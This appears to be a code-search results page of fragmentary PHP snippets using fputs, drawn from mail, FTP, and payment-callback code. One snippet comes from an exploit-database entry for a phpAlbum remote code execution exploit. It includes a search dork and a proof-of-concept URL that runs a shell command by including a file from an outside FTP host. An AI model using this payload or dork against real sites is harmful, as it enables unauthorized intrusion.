34				//Verzeichnis auflisten
                    
35				fputs ($fp, "LIST\r\n");
                    
36				//Quit senden
                    
                
email.inc.php https://github.com/mconway/NanobyteCMS.git | PHP | 202 lines
                    
1<?php
                    
2	/*
                    
108			// Say hello...
                    
109			fputs($this->smtp_socket, "HELO ".$this->smtp_server."\r\n");
                    
110			$res=fgets($this->smtp_socket,256);
                    
117				// perform authentication
                    
118				fputs($this->smtp_socket, "auth login\r\n");
                    
119				$res=fgets($this->smtp_socket,256);
                    
124				
                    
125				fputs($this->smtp_socket, base64_encode(Core::DecodeConfParams(SMTP_USER))."\r\n");
                    
126				$res=fgets($this->smtp_socket,256);
                    
130				
                    
131				fputs($this->smtp_socket, base64_encode(Core::DecodeConfParams(SMTP_PASS))."\r\n");
                    
132				$res=fgets($this->smtp_socket,256);
                    
138			// Mail from...
                    
139			fputs($this->smtp_socket, "MAIL FROM: <$this->from>\r\n");
                    
140			$res=fgets($this->smtp_socket,256);
                    
                
ezpaymentcallbackchecker.php https://github.com/zerustech/ezpublish.git | PHP | 308 lines
                    
1<?php
                    
2/**
                    
11/*!
                    
12  \class eZPaymentCallbackChecker ezpaymentcallbackchecker.php
                    
13  \brief Routines for support callback(postbacks) in redirectional
                    
91
                    
92            if ( !fputs( $fp, "$theCall", strlen( $theCall ) ) )
                    
93            {
                    
                
elavaarkisto.class.php https://github.com/orktes/xelavaarkisto.git | PHP | 213 lines
                    
1<?php
                    
2/* Copyright Jaakko Lukkari 2011
                    
102		}
                    
103		fputs($open, $send);
                    
104		$results="";
                    
                
2913.php https://bitbucket.org/DinoRex99/exploit-database.git | PHP | 250 lines
                    
21
                    
22[Exploit name: phpAlbum <= v0.4.1 Beta6 Remote Code Execution Exploit
                    
23[Script name: phpAlbum v0.4.1 Beta6
                    
23[Script name: phpAlbum v0.4.1 Beta6
                    
24[Script site: http://www.phpalbum.net/node/226
                    
25dork: "Powered by PHP Photo Album"
                    
56    arbitrary files from local resources 
                    
57 against PHP5, if register_globals = On and allow_url_fopen = 0n, 
                    
58    you can include an arbitrary translation.dat file from a ftp resource, poc: 
                    
59
                    
60http://[target]/[path]/language.php?cmd=ls%20-la&pa_lang[include_file]=ftp://Anonymous:somemail.com@somehost.com/public/
                    
61*/
                    
74Example:
                    
75php '.$argv[0].' 2.2.2.2 /phpAlbum/ ls -la -P1.1.1.1:80
                    
76php '.$argv[0].' 1.1.1.1 / ls -la
                    
                
result_rec.php https://gitlab.com/Rad1calDreamer/honey | PHP | 163 lines
                    
1<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true) die();?><?
                    
2include(GetLangFileName(dirname(__FILE__)."/", "/payment.php"));
                    
3
                    
50	{
                    
51		fputs ($fp, $header . $req);
                    
52		$res = "";
                    
90					"PS_CURRENCY" => $keyarray["mc_currency"],
                    
91					"PS_RESPONSE_DATE" => Date(CDatabase::DateFormatToPHP(CLang::GetDateFormat("FULL", LANG))),
                    
92					"USER_ID" => $arOrder["USER_ID"],
                    
94			$arFields["PAY_VOUCHER_NUM"] = $tx_token;
                    
95			$arFields["PAY_VOUCHER_DATE"] = Date(CDatabase::DateFormatToPHP(CLang::GetDateFormat("FULL", LANG)));
                    
96
                    
135					"PS_CURRENCY" => $_POST["mc_currency"],
                    
136					"PS_RESPONSE_DATE" => Date(CDatabase::DateFormatToPHP(CLang::GetDateFormat("FULL", LANG))),
                    
137					"USER_ID" => $arOrder["USER_ID"],
                    
                
 

Source

Language